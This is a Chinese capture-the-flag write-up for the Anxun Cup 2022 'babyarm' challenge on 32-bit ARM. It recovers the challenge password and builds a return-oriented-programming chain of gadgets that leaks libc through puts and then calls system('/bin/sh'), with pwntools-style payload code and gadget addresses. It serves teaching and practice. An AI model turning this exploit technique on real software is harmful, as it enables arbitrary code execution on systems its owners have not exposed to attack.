安洵杯2022 pwn babyarm
阿新 • • 發佈:2022-11-29
上週剛學習了一下arm下的pwn,這次就碰到了
32位,開了NX、relro部分開啟
程式前面有個加密,當我們輸入的內容加密後與"Sp5jS6mpH6LZC6GqSWe="相同,程式會給我們一個能來進行棧溢位read
這道題放x86架構下,只要逆向出密碼後面就是ret2libc的打法
但是在arm架構下,我們找到合適的gadget並除錯的過程可能會更麻煩些
而且這道題還ban掉了csu打法,讓本就不富裕的攻擊手段雪上加霜
沒有直接能控制r0的gadget苦魯西,那我們要洩露libc地址只能尋找一下別的gadget
但我們可以注意到這個pop {r4, r5, r6, r7, r8, sb, sl, pc}
通過這個我們可以控制r7的值,從剛才的init函式中我們可以發現mov r0,r7
這條指令,可以間接控制r0
同時,我們可以發現下面再執行會跳轉到r3 所儲存的地址,而我們有著可以直接控制r3 的gadget,通過構造puts(puts_got)我們即可獲取libc地址
sla('msg> ','s1mpl3Dec0d4r') puts_got = elf.got['puts'] puts_plt = elf.plt['puts'] r4_pc = 0x00010cb0 r3 = 0x00010464 movcall = 0x00010ca0 vuln = 0x0010B60
pl = b'a'*0x2c+p32(r4_pc)+p32(0)+p32(0)+p32(0)+p32(puts_got)+p32(0)+p32(0)+p32(0) #控制r7為puts_gots pl += p32(r3)+p32(puts_plt)+p32(movcall) #控制r3為puts_plt,並通過mov_call將r7傳參給r0,並執行r3 pl += p32(0)+p32(0)+p32(0)+p32(0)+p32(0)+p32(0)+p32(0)+p32(vuln) #往下執行到pop{r4-r10,pc},要重新控制程式流,跳回vuln p.sendlineafter('comment> ',pl)
leak出libc地址,劫持程式流
libcbase = uu64(r(4)) - libc.sym['puts']
system = libcbase + libc.sym['system']
binsh = libcbase + 0x00131bec
leak('libcbase',libcbase)
看一下詳細過程,思路簡單但是除錯的過程很麻煩
si、ni等指令在除錯中很難用
paylaod送入
pop {r4, r5, r6, r7, r8, sb, sl, pc}
:
pop {r3 , pc}:
movcall
:
送入shellcode
sla('msg> ','s1mpl3Dec0d4r')
pl = b'a'*0x2c+p32(r4_pc)
pl += p32(0)+p32(0)+p32(0)+p32(binsh)+p32(0)+p32(0)+p32(0)
pl += p32(r3)+p32(system)+p32(movcall)
#call r3
# r0: r7
p.sendlineafter('comment> ',pl)